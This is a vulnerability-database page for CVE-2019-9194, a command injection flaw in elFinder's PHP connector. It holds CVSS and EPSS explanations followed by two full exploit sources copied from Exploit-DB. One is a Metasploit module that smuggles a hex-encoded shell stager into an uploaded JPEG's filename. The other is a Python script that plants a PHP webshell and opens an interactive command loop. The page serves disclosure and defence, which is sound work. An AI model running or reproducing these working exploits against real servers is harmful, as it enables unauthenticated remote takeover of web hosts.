CVE-2019-9194 : Detail

CVE-2019-9194

9.8
/
Critical
OS Command Injection
A03-Injection
96.41%V3
Network
2019-02-26
18h00 +00:00
2019-03-14
08h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

elFinder before 2.1.48 has a command injection vulnerability in the PHP connector.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 46539

Publication date : 2019-03-12 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'elFinder PHP Connector exiftran Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability in elFinder versions prior to 2.1.48. The PHP connector component allows unauthenticated users to upload files and perform file modification operations, such as resizing and rotation of an image. The file name of uploaded files is not validated, allowing shell metacharacters. When performing image operations on JPEG files, the filename is passed to the `exiftran` utility without appropriate sanitization, causing shell commands in the file name to be executed, resulting in remote command injection as the web server user. The PHP connector is not enabled by default. The system must have `exiftran` installed and in `$PATH`. This module has been tested successfully on elFinder versions 2.1.47, 2.1.20 and 2.1.16 on Ubuntu. }, 'License' => MSF_LICENSE, 'Author' => [ 'Thomas Chauchefoin', # Discovery 'q3rv0', # Exploit 'bcoles' # Metasploit ], 'References' => [ ['CVE', '2019-9194'], ['EDB', '46481'], ['URL', 'https://github.com/Studio-42/elFinder/releases/tag/2.1.48'], ['URL', 'https://www.secsignal.org/news/cve-2019-9194-triggering-and-exploiting-a-1-day-vulnerability/'] ], 'Arch' => ARCH_PHP, 'Platform' => 'php', 'Targets' => [['Auto', {}]], 'Privileged' => false, 'DisclosureDate' => '2019-02-26', 'DefaultTarget' => 0)) register_options [ OptString.new('TARGETURI', [true, 'The base path to elFinder', '/elFinder/']) ] end # # Check if /php/connector.minimal.php exists and is executable # def check uri = normalize_uri(target_uri.path, 'php', 'connector.minimal.php') res = send_request_cgi('uri' => uri) unless res vprint_error 'Connection failed' return CheckCode::Unknown end unless res.code == 200 vprint_status "#{uri} does not exist" return CheckCode::Safe end if res.body.include? '<?php' vprint_status 'PHP is not enabled' return CheckCode::Safe end CheckCode::Detected end # # Upload PHP payload # def upload(fname) # Small JPEG file from: # https://github.com/mathiasbynens/small/blob/master/jpeg.jpg jpeg = %w[ FF D8 FF DB 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0A 0A 09 08 09 09 0A 0C 0F 0C 0A 0B 0E 0B 09 09 0D 11 0D 0E 0F 10 10 11 10 0A 0C 12 13 12 10 13 0F 10 10 10 FF C9 00 0B 08 00 01 00 01 01 01 11 00 FF CC 00 06 00 10 10 05 FF DA 00 08 01 01 00 00 3F 00 D2 CF 20 FF D9 ] jpeg = [jpeg.join].pack('H*') jpeg << rand_text_alphanumeric(50..100) jpeg << "<?php #{payload.encoded} ?>" jpeg << rand_text_alphanumeric(50..100) data = Rex::MIME::Message.new data.add_part('upload', nil, nil, 'form-data; name="cmd"') data.add_part('l1_Lw', nil, nil, 'form-data; name="target"') data.add_part(jpeg, 'image/jpeg', nil, %(form-data; name="upload[]"; filename="#{fname}")) post_data = data.to_s print_status("Uploading payload '#{fname}' (#{post_data.length} bytes)") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data ) unless res fail_with Failure::Unreachable, 'Connection failed' end unless res.code == 200 fail_with Failure::UnexpectedReply, 'Unexpected reply' end unless res.body.include?('"added"') fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}" end if res.body.include?('"error"') || res.body.include?('"warning"') fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}" end json_res = JSON.parse(res.body) rescue nil if json_res.nil? || json_res['added'].empty? fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}" end json_res['added'].first['hash'] || '' end # # Trigger the command injection via image rotation functionality # Rotates image by 180 degrees to trigger `exiftran` code path # def trigger(hash) print_status 'Triggering vulnerability via image rotation ...' res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'), 'vars_get' => { 'target' => hash, 'degree' => '180', 'mode' => 'rotate', 'cmd' => 'resize' } }, 5) unless res fail_with Failure::Unreachable, 'Connection failed' end if res.body.include?('"error"') || res.body.include?('"warning"') fail_with Failure::UnexpectedReply, "Image rotate failed: #{res.body}" end end # # Delete uploaded file # def delete_file(hash) print_status 'Removing uploaded file ...' res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'), 'vars_get' => { 'cmd' => 'rm', 'targets[]' => hash } }, 15) unless res print_status 'Connection failed' return end if res.body.include?('errFileNotFound') print_error "Could not delete uploaded file. Unexpected reply: #{res.body}" return end print_good 'Deleted uploaded file' end # # Execute payload # def execute_payload(php_fname) path = normalize_uri(target_uri.path, 'php', php_fname) print_status "Executing payload (#{path}) ..." res = send_request_cgi({ 'uri' => path }, 15) unless res print_status 'No reply' return end unless res.code == 200 fail_with Failure::UnexpectedReply, "Executing payload failed (HTTP #{res.code})" end end # # Remove uploaded file # def cleanup delete_file @hash unless @hash.nil? ensure super end # # upload && execute # def exploit unless check == CheckCode::Detected fail_with Failure::NotVulnerable, 'Target is not vulnerable' end fname = rand_text_alphanumeric(6..10) php_fname = ".#{rand_text_alphanumeric(6..10)}.php" # Max file name length is ~250 characters # and characters such as `/` are forbidden. # Hex encoded stager copies the uploaded file from the `files` directory # to the working directory (`php`) and changes the extension to `.php` # The stager is decoded with xxd when the vuln is triggered. stager = "cp ../files/#{fname}.jpg*echo* #{php_fname}" # Upload our payload jpg file with encoded stager in the filename jpg_fname = "#{fname}.jpg;echo #{stager.unpack('H*').flatten.first} |xxd -r -p |sh& #.jpg" @hash = upload jpg_fname if @hash.to_s == '' fail_with Failure::Unknown, 'Upload failed: Failed to retrieve file hash ID' end trigger @hash register_file_for_cleanup php_fname execute_payload php_fname end end
Exploit Database EDB-ID : 46481

Publication date : 2019-03-03 23h00 +00:00
Author : q3rv0
EDB Verified : Yes

#!/usr/bin/python ''' # Exploit Title: elFinder <= 2.1.47 - Command Injection vulnerability in the PHP connector. # Date: 26/02/2019 # Exploit Author: @q3rv0 # Vulnerability reported by: Thomas Chauchefoin # Google Dork: intitle:"elFinder 2.1.x" # Vendor Homepage: https://studio-42.github.io/elFinder/ # Software Link: https://github.com/Studio-42/elFinder/archive/2.1.47.tar.gz # Version: <= 2.1.47 # Tested on: Linux 64bit + Python2.7 # PoC: https://www.secsignal.org/news/cve-2019-9194-triggering-and-exploiting-a-1-day-vulnerability/ # CVE: CVE-2019-9194 # Usage: python exploit.py [URL] ''' import requests import json import sys payload = 'SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg' def usage(): if len(sys.argv) != 2: print "Usage: python exploit.py [URL]" sys.exit(0) def upload(url, payload): files = {'upload[]': (payload, open('SecSignal.jpg', 'rb'))} data = {"reqid" : "1693222c439f4", "cmd" : "upload", "target" : "l1_Lw", "mtime[]" : "1497726174"} r = requests.post("%s/php/connector.minimal.php" % url, files=files, data=data) j = json.loads(r.text) return j['added'][0]['hash'] def imgRotate(url, hash): r = requests.get("%s/php/connector.minimal.php?target=%s&width=539&height=960&degree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c" % (url, hash)) return r.text def shell(url): r = requests.get("%s/php/SecSignal.php" % url) if r.status_code == 200: print "[+] Pwned! :)" print "[+] Getting the shell..." while 1: try: input = raw_input("$ ") r = requests.get("%s/php/SecSignal.php?c=%s" % (url, input)) print r.text except KeyboardInterrupt: sys.exit("\nBye kaker!") else: print "[*] The site seems not to be vulnerable :(" def main(): usage() url = sys.argv[1] print "[*] Uploading the malicious image..." hash = upload(url, payload) print "[*] Running the payload..." imgRotate(url, hash) shell(url) if __name__ == "__main__": main()

Products Mentioned

Configuraton 0

Std42>>Elfinder >> Version To (excluding) 2.1.48

References

https://www.exploit-db.com/exploits/46539/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/46481/
Tags : exploit, x_refsource_EXPLOIT-DB